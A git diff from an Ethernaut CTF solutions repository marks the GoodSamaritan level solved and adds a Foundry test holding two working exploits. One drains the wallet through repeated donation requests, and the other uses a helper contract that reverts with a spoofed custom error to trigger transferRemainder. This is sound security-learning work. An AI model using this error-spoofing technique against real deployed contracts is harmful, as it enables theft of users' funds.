diff --git a/docs/ethernaut-ctf/EthernautCTF.md b/docs/ethernaut-ctf/EthernautCTF.md index 6105e9c..d606014 100644 --- a/docs/ethernaut-ctf/EthernautCTF.md +++ b/docs/ethernaut-ctf/EthernautCTF.md @@ -30,7 +30,7 @@ | 24 | [PuzzleWallet](../../src/EthernautCTF/PuzzleWallet.sol) | ✅ | [PuzzleWalletExploit](../../test/EthernautCTF/PuzzleWalletExploit.t.sol) | When writing a Proxy contract, and more generally any contract that uses `delegatecall`, always make sure that the sensible storage values are not colliding with other values. The storage layout should be identical, for those values, on both the proxy and the implementation contracts. | | 25 | [Motorbike](../../src/EthernautCTF/Motorbike.sol) | ❌ | | | | 26 | [DoubleEntry](../../src/EthernautCTF/DoubleEntry.sol) | ✅ | [DoubleEntryExploit](../../test/EthernautCTF/DoubleEntryExploit.t.sol) | - When delegating calls from a deprecated token to another token (or any other contract), avoid sending new tokens in place of old tokens.
- This level is made of a lot of different contracts, you can find an architecture diagram [below](#level-26). | -| 27 | [GoodSamaritan](../../src/EthernautCTF/GoodSamaritan.sol) | ❌ | | | +| 27 | [GoodSamaritan](../../src/EthernautCTF/GoodSamaritan.sol) | ✅ | [GoodSamaritanExploit](../../test/EthernautCTF/GoodSamaritanExploit.t.sol) | Making external calls after updating token balance is very dangerous... | | 28 | [GatekeeperThree](../../src/EthernautCTF/GatekeeperThree.sol) | ✅ | [GatekeeperThreeExploit](../../test/EthernautCTF/GatekeeperThreeExploit.t.sol) | - Make sure the `constructor` method is spelled properly.
- Do not use `tx.origin` to check the origin of the caller.
- Private variables are not private on a public blockchain.
- It's easy to implement a contract that do not accepts ether. | | 29 | [Switch](../../src/EthernautCTF/Switch.sol) | ❌ | | | | 30 | [HigherOrder](../../src/EthernautCTF/HigherOrder.sol) | ✅ | [HigherOrderExploit](../../test/EthernautCTF/HigherOrderExploit.t.sol) | Reading function parameters (or any other value) using `calldataload` is dangerous because it will always return a 32-byte value and not the expected type of the variable. | diff --git a/test/EthernautCTF/GoodSamaritanExploit.t.sol b/test/EthernautCTF/GoodSamaritanExploit.t.sol new file mode 100644 index 0000000..733b490 --- /dev/null +++ b/test/EthernautCTF/GoodSamaritanExploit.t.sol @@ -0,0 +1,105 @@ +// SPDX-License-Identifier: GPL-3.0 +pragma solidity ^0.8.0; + +import '../../src/EthernautCTF/GoodSamaritan.sol'; +import '@forge-std/Test.sol'; +import '@forge-std/console2.sol'; + +contract Helper is INotifyable { + error NotEnoughBalance(); + + function pwn(GoodSamaritan _goodSamaritan) external { + _goodSamaritan.requestDonation(); + } + + function notify(uint256 _amount) external { + // Make sure to revert on the first call made by the Coin. + if (_amount == 10) { + revert NotEnoughBalance(); + } + } +} + +contract GoodSamaritanExploit is Test { + GoodSamaritan target; + address deployerAddress = makeAddr('deployer'); + address exploiterAddress = makeAddr('exploiter'); + + function setUp() public { + vm.startPrank(deployerAddress); + target = new GoodSamaritan(); + console2.log('Target contract deployed'); + vm.stopPrank(); + } + + function testNaiveExploit() public { + Coin coin = target.coin(); + Wallet wallet = target.wallet(); + + uint256 walletBalance = coin.balances(address(wallet)); + console.log('Wallet balance: %d coins', walletBalance); + assertEq(walletBalance, 10 ** 6); + + uint256 exploiterBalance = coin.balances(address(exploiterAddress)); + console.log('Exploiter balance: %d coins', exploiterBalance); + assertEq(exploiterBalance, 0); + + vm.startPrank(exploiterAddress); + // Each donation request gives 10 coins to the requester. + // To fully drain the wallet, it will require 10**5 requests (100 000). + console.log('Performing the exploit...'); + uint256 counter; + while (coin.balances(address(wallet)) > 0) { + counter++; + target.requestDonation(); + } + console.log('Requested %d donations', counter); + console.log('Wallet has been drained'); + vm.stopPrank(); + + walletBalance = coin.balances(address(wallet)); + console.log('Wallet balance: %d coins', walletBalance); + assertEq(walletBalance, 0); + + exploiterBalance = coin.balances(address(exploiterAddress)); + console.log('Exploiter balance: %d coins', exploiterBalance); + assertEq(exploiterBalance, 10 ** 6); + } + + function testSmartExploit() public { + Coin coin = target.coin(); + Wallet wallet = target.wallet(); + + uint256 walletBalance = coin.balances(address(wallet)); + console.log('Wallet balance: %d coins', walletBalance); + assertEq(walletBalance, 10 ** 6); + + vm.startPrank(exploiterAddress); + // To make this exploit, we use an Helper contract. + // It has a `pwn` method to call `requestDonation`. Since the contract size is greater than zero, + // the Coin SC will call the `notify` method of the Helper contract. This method is made to revert + // when called with the specific amount of `10` which is the value used by the Coin SC. + // It reverts with a specific custom error made to trigger the `transferRemainder` method from + // the Wallet SC, transferring all the coins (10**6) to the Helper contract! + Helper helper = new Helper(); + console.log('Helper contract deployed'); + + uint256 helperBalance = coin.balances(address(helper)); + console.log('Helper balance: %d coins', helperBalance); + assertEq(helperBalance, 0); + + console.log('Performing the exploit...'); + helper.pwn(target); + console.log('Requested 1 donation'); + console.log('Wallet has been drained'); + vm.stopPrank(); + + walletBalance = coin.balances(address(wallet)); + console.log('Wallet balance: %d coins', walletBalance); + assertEq(walletBalance, 0); + + helperBalance = coin.balances(address(helper)); + console.log('Helper balance: %d coins', helperBalance); + assertEq(helperBalance, 10 ** 6); + } +}